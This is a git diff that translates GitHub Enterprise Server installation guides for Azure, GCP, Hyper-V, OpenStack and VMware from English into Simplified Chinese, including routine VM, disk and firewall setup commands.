+  传入以下选项：VM 名称、资源组、VM 大小、首选 Azure 地区名称、上一步中列出的设备映像 VM 的名称，以及用于高级存储的存储 SKU。 更多关于资源组的信息，请参阅 Microsoft 文档中的“[资源组](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)”。
 
   ```shell
   $ az vm create -n <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --size <em>VM_SIZE</em> -l <em>REGION</em> --image <em>APPLIANCE_IMAGE_NAME</em> --storage-sku Premium_LRS
   ```
 
-3. Configure the security settings on your VM to open up required ports. For more information, see "[az vm open-port](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" in the Microsoft documentation. See the table below for a description of each port to determine what ports you need to open.
+3. 在 VM 上配置安全设置，以打开所需端口。 更多信息请参阅 Microsoft 文档中的 "[az vm open-port](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)"。 请参阅下表中对每个端口的说明，以确定需要打开的端口。
 
   ```shell
   $ az vm open-port -n <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --port <em>PORT_NUMBER</em>
   ```
 
-  This table identifies what each port is used for.
+  此表列出了每个端口的用途。
 
   {% data reusables.enterprise_installation.necessary_ports %}
 
 4. Create and attach a new managed data disk to the VM, and configure the size based on your license count. All Azure managed disks created since June 10, 2017 are encrypted at rest by default with Storage Service Encryption (SSE). For more information about the `az vm disk attach` command, see "[az vm disk attach](https://docs.microsoft.com/cli/azure/vm/disk?view=azure-cli-latest#az_vm_disk_attach)" in the Microsoft documentation.
 
-  Pass in options for the name of your VM (for example, `ghe-acme-corp`), the resource group, the premium storage SKU, the size of the disk (for example, `100`), and a name for the resulting VHD.
+  传入以下选项：VM 名称（例如 `ghe-acme-corp`）、资源组、高级存储 SKU、磁盘大小（例如 `100`）以及生成的 VHD 的名称。
 
   ```shell
   $ az vm disk attach --vm-name <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --sku Premium_LRS --new -z <em>SIZE_IN_GB</em> --name ghe-data.vhd --caching ReadWrite
@@ -72,33 +73,33 @@ Before launching {% data variables.product.product_location %} on Azure, you'll
 
   {% note %}
 
-   **Note:** For non-production instances to have sufficient I/O throughput, the recommended minimum disk size is 40 GiB with read/write cache enabled (`--caching ReadWrite`).
+   **注：**为确保非生产实例具有足够的 I/O 通量，建议最小磁盘容量为 40 GiB 并启用读/写缓存 (`--caching ReadWrite`)。
 
    {% endnote %}
 
-## Configuring the {% data variables.product.prodname_ghe_server %} virtual machine
+## 配置 {% data variables.product.prodname_ghe_server %} 虚拟机
 
-1. Before configuring the VM, you must wait for it to enter ReadyRole status. Check the status of the VM with the `vm list` command. For more information, see "[az vm list](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)" in the Microsoft documentation.
+1. 在配置 VM 之前，您必须等待其进入 ReadyRole 状态。 使用 `vm list` 命令检查 VM 的状态。 更多信息请参阅 Microsoft 文档中的“[az vm 列表](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_list)”。
   ```shell
   $ az vm list -d -g <em>RESOURCE_GROUP</em> -o table
   > Name    ResourceGroup    PowerState    PublicIps     Fqdns    Location    Zones
   > ------  ---------------  ------------  ------------  -------  ----------  -------
   > VM_NAME RESOURCE_GROUP   VM running    40.76.79.202           eastus
-  
+
   ```
   {% note %}
-  
-  **Note:** Azure does not automatically create a FQDNS entry for the VM. For more information, see Azure's guide on how to "[Create a fully qualified domain name in the Azure portal for a Linux VM](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)."
-  
+
+  **注**：Azure 不会自动为 VM 创建 FQDNS 条目。 更多信息请参阅 Azure 指南中关于如何“[在 Azure 门户中为 Linux VM 创建完全限定域名](https://docs.microsoft.com/azure/virtual-machines/linux/portal-create-fqdn)”的说明。
+
   {% endnote %}
-  
+
   {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
   {% data reusables.enterprise_installation.upload-a-license-file %}
-  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+  {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。
   {% data reusables.enterprise_installation.instance-will-restart-automatically %}
   {% data reusables.enterprise_installation.visit-your-instance %}
-  
-## Further reading
-  
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+
+## 延伸阅读
+
+- "[系统概述](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
index e8d6a0059e..dd07597d38 100644
--- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
+++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Google Cloud Platform
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Google Cloud Platform, you must deploy onto a supported machine type and use a persistent standard disk or a persistent SSD.'
+title: 在 Google Cloud Platform 上安装 GitHub Enterprise Server
+intro: '要在 Google Cloud Platform 上安装 {% data variables.product.prodname_ghe_server %}，您必须部署到受支持的机器类型上，并使用持久标准磁盘或持久 SSD。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-google-cloud-platform
   - /enterprise/admin/installation/installing-github-enterprise-server-on-google-cloud-platform
@@ -13,69 +13,70 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on GCP
+shortTitle: 在 GCP 上安装
 ---
-## Prerequisites
+
+## 基本要求
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have a Google Cloud Platform account capable of launching Google Compute Engine (GCE) virtual machine (VM) instances. For more information, see the [Google Cloud Platform website](https://cloud.google.com/) and the [Google Cloud Platform Documentation](https://cloud.google.com/docs/).
-- Most actions needed to launch your instance may also be performed using the [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console). However, we recommend installing the gcloud compute command-line tool for initial setup. Examples using the gcloud compute command-line tool are included below. For more information, see the "[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)" installation and setup guide in the Google documentation.
+- 您必须具有能够启动 Google Compute Engine (GCE) 虚拟机 (VM) 实例的 Google Cloud Platform 帐户。 更多信息请参阅 [Google Cloud Platform 网站](https://cloud.google.com/)和 [Google Cloud Platform 文档](https://cloud.google.com/docs/)。
+- 启动实例所需的大部分操作也可以使用 [Google Cloud Platform Console](https://cloud.google.com/compute/docs/console) 执行。 不过，我们建议安装 gcloud compute 命令行工具进行初始设置。 下文介绍了使用 gcloud compute 命令行工具的示例。 更多信息请参阅 Google 文档中的“[gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/)”安装和设置指南。
 
-## Hardware considerations
+## 硬件考量因素
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the machine type
+## 确定机器类型
 
-Before launching {% data variables.product.product_location %} on Google Cloud Platform, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+在 Google Cloud Platform 上启动 {% data variables.product.product_location %} 之前，您需要确定最符合您的组织需求的机器类型。 要查看 {% data variables.product.product_name %} 的最低要求，请参阅“[最低要求](#minimum-requirements)”。
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
-{% data variables.product.company_short %} recommends a general-purpose, high-memory machine for {% data variables.product.prodname_ghe_server %}. For more information, see "[Machine types](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)" in the Google Compute Engine documentation.
+{% data variables.product.company_short %} 建议对 {% data variables.product.prodname_ghe_server %} 使用通用高内存设备。 更多信息请参阅 Google Compute Engine 文档中的“[设备类型](https://cloud.google.com/compute/docs/machine-types#n2_high-memory_machine_types)”。
 
-## Selecting the {% data variables.product.prodname_ghe_server %} image
+## 选择 {% data variables.product.prodname_ghe_server %} 映像
 
-1. Using the [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) command-line tool, list the public {% data variables.product.prodname_ghe_server %} images:
+1. 使用 [gcloud compute](https://cloud.google.com/compute/docs/gcloud-compute/) 命令行工具列出公共 {% data variables.product.prodname_ghe_server %} 映像：
    ```shell
    $ gcloud compute images list --project github-enterprise-public --no-standard-images
    ```
 
-2. Take note of the image name for the latest GCE image of  {% data variables.product.prodname_ghe_server %}.
+2. 记下 {% data variables.product.prodname_ghe_server %} 最新 GCE 映像的映像名称。
 
-## Configuring the firewall
+## 配置防火墙
 
-GCE virtual machines are created as a member of a network, which has a firewall. For the network associated with the {% data variables.product.prodname_ghe_server %} VM, you'll need to configure the firewall to allow the required ports listed in the table below. For more information about firewall rules on Google Cloud Platform, see the Google guide "[Firewall Rules Overview](https://cloud.google.com/vpc/docs/firewalls)."
+GCE 虚拟机作为具有防火墙的网络的成员创建。 对于与 {% data variables.product.prodname_ghe_server %} VM 关联的网络，您需要将防火墙配置为允许下表中列出的必需端口。 更多关于 Google Cloud Platform 上防火墙规则的信息，请参阅 Google 指南“[防火墙规则概述](https://cloud.google.com/vpc/docs/firewalls)”。
 
-1. Using the gcloud compute command-line tool, create the network. For more information, see "[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)" in the Google documentation.
+1. 使用 gcloud compute 命令行工具创建网络。 更多信息请参阅 Google 文档中的“[gcloud compute networks create](https://cloud.google.com/sdk/gcloud/reference/compute/networks/create)”。
    ```shell
    $ gcloud compute networks create <em>NETWORK-NAME</em> --subnet-mode auto
    ```
-2. Create a firewall rule for each of the ports in the table below. For more information, see "[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)" in the Google documentation.
+2. 为下表中的各个端口创建防火墙规则。 更多信息请参阅 Google 文档中的“[gcloud compute firewall-rules](https://cloud.google.com/sdk/gcloud/reference/compute/firewall-rules/)”。
    ```shell
    $ gcloud compute firewall-rules create <em>RULE-NAME</em> \
    --network <em>NETWORK-NAME</em> \
    --allow tcp:22,tcp:25,tcp:80,tcp:122,udp:161,tcp:443,udp:1194,tcp:8080,tcp:8443,tcp:9418,icmp
    ```
-   This table identifies the required ports and what each port is used for.
+   此表列出了必需端口以及各端口的用途。
 
    {% data reusables.enterprise_installation.necessary_ports %}
 
-## Allocating a static IP and assigning it to the VM
+## 分配静态 IP 并将其分配给 VM
 
-If this is a production appliance, we strongly recommend reserving a static external IP address and assigning it to the {% data variables.product.prodname_ghe_server %} VM. Otherwise, the public IP address of the VM will not be retained after restarts. For more information, see the Google guide "[Reserving a Static External IP Address](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)."
+如果此设备为生产设备，强烈建议保留静态外部 IP 地址并将其分配给 {% data variables.product.prodname_ghe_server %} VM。 否则，重新启动后将不会保留 VM 的公共 IP 地址。 更多信息请参阅 Google 指南“[保留静态外部 IP 地址](https://cloud.google.com/compute/docs/configure-instance-ip-addresses)”。
 
-In production High Availability configurations, both primary and replica appliances should be assigned separate static IP addresses.
+在生产高可用性配置中，主设备和副本设备均应获得单独的静态 IP 地址。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## 创建 {% data variables.product.prodname_ghe_server %} 实例
 
-To create the {% data variables.product.prodname_ghe_server %} instance, you'll need to create a GCE instance with your {% data variables.product.prodname_ghe_server %} image and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)."
+要创建 {% data variables.product.prodname_ghe_server %} 实例，您需要使用 {% data variables.product.prodname_ghe_server %} 映像创建 GCE 实例并连接额外的存储卷来存储实例数据。 更多信息请参阅“[硬件考量因素](#hardware-considerations)”。
 
-1. Using the gcloud compute command-line tool, create a data disk to use as an attached storage volume for your instance data, and configure the size based on your user license count. For more information, see "[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)" in the Google documentation.
+1. 使用 gcloud compute 命令行工具，创建数据磁盘，将其用作您的实例数据的附加存储卷，并根据用户许可数配置大小。 更多信息请参阅 Google 文档中的“[gcloud compute disks create](https://cloud.google.com/sdk/gcloud/reference/compute/disks/create)”。
    ```shell
    $ gcloud compute disks create <em>DATA-DISK-NAME</em> --size <em>DATA-DISK-SIZE</em> --type <em>DATA-DISK-TYPE</em> --zone <em>ZONE</em>
    ```
 
-2. Then create an instance using the name of the {% data variables.product.prodname_ghe_server %} image you selected, and attach the data disk. For more information, see "[gcloud compute instances create](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)" in the Google documentation.
+2. 然后，使用所选 {% data variables.product.prodname_ghe_server %} 映像的名称创建实例，并连接数据磁盘。 更多信息请参阅 Google 文档中的“[gcloud compute ](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)”。
    ```shell
    $ gcloud compute instances create <em>INSTANCE-NAME</em> \
    --machine-type n1-standard-8 \
@@ -87,15 +88,15 @@ To create the {% data variables.product.prodname_ghe_server %} instance, you'll
    --image-project github-enterprise-public
    ```
 
-## Configuring the instance
+## 配置实例
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 延伸阅读
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[系统概述](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
index 7901cb3efd..6b5a44aeb1 100644
--- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
+++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Hyper-V
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Hyper-V, you must deploy onto a machine running Windows Server 2008 through Windows Server 2019.'
+title: 在 Hyper-V 上安装 GitHub Enterprise Server
+intro: '要在 Hyper-V 上安装 {% data variables.product.prodname_ghe_server %}，您必须部署到运行 Windows Server 2008 至 Windows Server 2019 的机器上。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-hyper-v
   - /enterprise/admin/installation/installing-github-enterprise-server-on-hyper-v
@@ -13,61 +13,62 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on Hyper-V
+shortTitle: 在 Hyper-V 上安装
 ---
-## Prerequisites
+
+## 基本要求
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have Windows Server 2008 through Windows Server 2019, which support Hyper-V.
-- Most actions needed to create your virtual machine (VM) may also be performed using the [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts). However, we recommend using the Windows PowerShell command-line shell for initial setup. Examples using PowerShell are included below. For more information, see the Microsoft guide "[Getting Started with Windows PowerShell](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)."
+- 您必须具有 Windows Server 2008 至 Windows Server 2019，这些版本支持 Hyper-V。
+- 创建虚拟机 (VM）所需的大部分操作也可以使用 [Hyper-V Manager](https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/remotely-manage-hyper-v-hosts) 执行。 不过，我们建议使用 Windows PowerShell 命令行 shell 进行初始设置。 下文介绍了使用 PowerShell 的示例。 更多信息请参阅 Microsoft 指南“[Windows PowerShell 使用入门](https://docs.microsoft.com/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-5.1)”。
 
-## Hardware considerations
+## 硬件考量因素
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## 下载 {% data variables.product.prodname_ghe_server %} 映像
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **Hyper-V (VHD)**.
-5. Click **Download for Hyper-V (VHD)**.
+4. 选择 {% data variables.product.prodname_dotcom %} 内部部署，然后单击 **Hyper-V (VHD)**。
+5. 单击 **Download for Hyper-V (VHD)**。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## 创建 {% data variables.product.prodname_ghe_server %} 实例
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In PowerShell, create a new Generation 1 virtual machine, configure the size based on your user license count, and attach the {% data variables.product.prodname_ghe_server %} image you downloaded. For more information, see "[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)" in the Microsoft documentation.
+1. 在 PowerShell 中，创建新的第 1 代虚拟机，根据用户许可数配置大小，并附上您下载的 {% data variables.product.prodname_ghe_server %} 图像。 更多信息请参阅 Microsoft 文档中的“[New-VM](https://docs.microsoft.com/powershell/module/hyper-v/new-vm?view=win10-ps)”。
   ```shell
   PS C:\> New-VM -Generation 1 -Name <em>VM_NAME</em> -MemoryStartupBytes <em>MEMORY_SIZE</em> -BootDevice VHD -VHDPath <em>PATH_TO_VHD</em>  
   ```
-{% data reusables.enterprise_installation.create-attached-storage-volume %} Replace `PATH_TO_DATA_DISK` with the path to the location where you create the disk. For more information, see "[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)" in the Microsoft documentation.
+{% data reusables.enterprise_installation.create-attached-storage-volume %} 将 `PATH_TO_DATA_DISK` 替换为磁盘创建位置的路径。 更多信息请参阅 Microsoft 文档中的“[New-VHD](https://docs.microsoft.com/powershell/module/hyper-v/new-vhd?view=win10-ps)”。
   ```shell
   PS C:\> New-VHD -Path <em>PATH_TO_DATA_DISK</em> -SizeBytes <em>DISK_SIZE</em>
   ```
-3. Attach the data disk to your instance. For more information, see "[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)" in the Microsoft documentation.
+3. 将数据磁盘连接到实例。 更多信息请参阅 Microsoft 文档中的“[Add-VMHardDiskDrive](https://docs.microsoft.com/powershell/module/hyper-v/add-vmharddiskdrive?view=win10-ps)”。
   ```shell
   PS C:\> Add-VMHardDiskDrive -VMName <em>VM_NAME</em> -Path <em>PATH_TO_DATA_DISK</em>
   ```
-4. Start the VM. For more information, see "[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)" in the Microsoft documentation.
+4. 启动 VM。 更多信息请参阅 Microsoft 文档中的“[Start-VM](https://docs.microsoft.com/powershell/module/hyper-v/start-vm?view=win10-ps)”。
   ```shell
   PS C:\> Start-VM -Name <em>VM_NAME</em>
   ```
-5. Get the IP address of your VM. For more information, see "[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)" in the Microsoft documentation.
+5. 获取 VM 的 IP 地址。 更多信息请参阅 Microsoft 文档中的“[Get-VMNetworkAdapter](https://docs.microsoft.com/powershell/module/hyper-v/get-vmnetworkadapter?view=win10-ps)”。
   ```shell
   PS C:\> (Get-VMNetworkAdapter -VMName <em>VM_NAME</em>).IpAddresses
   ```
-6. Copy the VM's IP address and paste it into a web browser.
+6. 复制 VM 的 IP 地址并将其粘贴到 Web 浏览器中。
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## 配置 {% data variables.product.prodname_ghe_server %} 实例
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 延伸阅读
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[系统概述](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
index 1c1de12f10..5509309281 100644
--- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
+++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on OpenStack KVM
-intro: 'To install {% data variables.product.prodname_ghe_server %} on OpenStack KVM, you must have OpenStack access and download the {% data variables.product.prodname_ghe_server %} QCOW2 image.'
+title: 在 OpenStack KVM 上安装 GitHub Enterprise Server
+intro: '要在 OpenStack KVM 上安装 {% data variables.product.prodname_ghe_server %}，您必须具有 OpenStack 访问权限并下载 {% data variables.product.prodname_ghe_server %} QCOW2 映像。'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-openstack-kvm
   - /enterprise/admin/installation/installing-github-enterprise-server-on-openstack-kvm
@@ -13,46 +13,47 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on OpenStack
+shortTitle: 在 OpenStack 上安装
 ---
-## Prerequisites
+
+## 基本要求
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have access to an installation of OpenStack Horizon, the web-based user interface to OpenStack services. For more information, see the [Horizon documentation](https://docs.openstack.org/horizon/latest/).
+- 您必须有权访问 OpenStack Horizon，即 OpenStack 服务基于 Web 的用户界面。 更多信息请参阅 [Horizon 文档](https://docs.openstack.org/horizon/latest/)。
 
-## Hardware considerations
+## 硬件考量因素
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Downloading the {% data variables.product.prodname_ghe_server %} image
+## 下载 {% data variables.product.prodname_ghe_server %} 映像
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-license %}
 {% data reusables.enterprise_installation.download-appliance %}
-4. Select {% data variables.product.prodname_dotcom %} On-premises, then click **OpenStack KVM (QCOW2)**.
-5. Click **Download for OpenStack KVM (QCOW2)**.
+4. 选择 {% data variables.product.prodname_dotcom %} 内部部署，然后单击 **OpenStack KVM (QCOW2)**。
+5. 单击 **Download for OpenStack KVM (QCOW2)**。
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## 创建 {% data variables.product.prodname_ghe_server %} 实例
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. In OpenStack Horizon, upload the {% data variables.product.prodname_ghe_server %} image you downloaded. For instructions, see the "Upload an image" section of the OpenStack guide "[Upload and manage images](https://docs.openstack.org/horizon/latest/user/manage-images.html)."
-{% data reusables.enterprise_installation.create-attached-storage-volume %} For instructions, see the OpenStack guide "[Create and manage volumes](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)."
-3. Create a security group, and add a new security group rule for each port in the table below. For instructions, see the OpenStack guide "[Configure access and security for instances](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)."
+1. 在 OpenStack Horizon 中，上传您下载的 {% data variables.product.prodname_ghe_server %} 映像。 有关说明，请参阅 OpenStack 指南“[上传和管理图像](https://docs.openstack.org/horizon/latest/user/manage-images.html)”的“上传图像”部分。
+{% data reusables.enterprise_installation.create-attached-storage-volume %}有关说明，请参阅 OpenStack 指南“[创建和管理卷](https://docs.openstack.org/horizon/latest/user/manage-volumes.html)”。
+3. 创建安全组，并为下表中的各个端口添加新的安全组规则。 有关说明，请参阅 OpenStack 指南“[为实例配置访问和安全](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html)”。
 
   {% data reusables.enterprise_installation.necessary_ports %}
-4. Optionally, associate a floating IP to the instance. Depending on your OpenStack setup, you may need to allocate a floating IP to the project and associate it to the instance. Contact your system administrator to determine if this is the case for you. For more information, see "[Allocate a floating IP address to an instance](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)" in the OpenStack documentation.
-5. Launch {% data variables.product.product_location %} using the image, data volume, and security group created in the previous steps. For instructions, see the OpenStack guide "[Launch and manage instances](https://docs.openstack.org/horizon/latest/user/launch-instances.html)."
+4. 也可以将浮动 IP 关联到实例。 根据 OpenStack 设置，您可能需要将浮动 IP 分配给项目并将其关联到实例。 请联系您的系统管理员以确定您是否属于这种情况。 更多信息请参阅 OpenStack 文档中的“[为实例分配浮动 IP 地址](https://docs.openstack.org/horizon/latest/user/configure-access-and-security-for-instances.html#allocate-a-floating-ip-address-to-an-instance)”。
+5. 使用在前几步创建的映像、数据卷和安全组启动 {% data variables.product.product_location %}。 有关说明，请参阅 OpenStack 指南“[启动和管理实例](https://docs.openstack.org/horizon/latest/user/launch-instances.html)”。
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## 配置 {% data variables.product.prodname_ghe_server %} 实例
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} 更多信息请参阅“[配置 {% data variables.product.prodname_ghe_server %} 设备](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)”。
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## 延伸阅读
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[系统概述](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
index e725f7fd72..3ae5926aa8 100644
--- a/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
+++ b/translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on VMware
-intro: 'To install {% data variables.product.prodname_ghe_server %} on VMware, you must download the VMware vSphere client, and then download and deploy the {% data variables.product.prodname_ghe_server %} software.'
+title: 在 VMware 上安装 GitHub Enterprise Server
+intro: '要在 VMWare 上安装 {% data variables.product.prodname_ghe_server %}，您必须下载 VMWare vSphere 客户端，然后下载并部署 {% data variables.product.prodname_ghe_server %} 软件。'
 redirect_from:
   - /enterprise/admin/articles/getting-started-with-vmware
   - /enterprise/admin/articles/installing-vmware-tools
@@ -16,44 +16,45 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on VMware
+shortTitle: 在 VMware 上安装
 ---
-## Prerequisites
+
+## 基本要求
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have a VMware vSphere ESXi Hypervisor, applied to a bare metal machine that will run {% data variables.product.product_location %}s. We support versions 5.5 through 6.7. The ESXi Hypervisor is free and does not include the (optional) vCenter Server. For more information, see [the VMware ESXi documentation](https://www.vmware.com/products/esxi-and-esx.html).
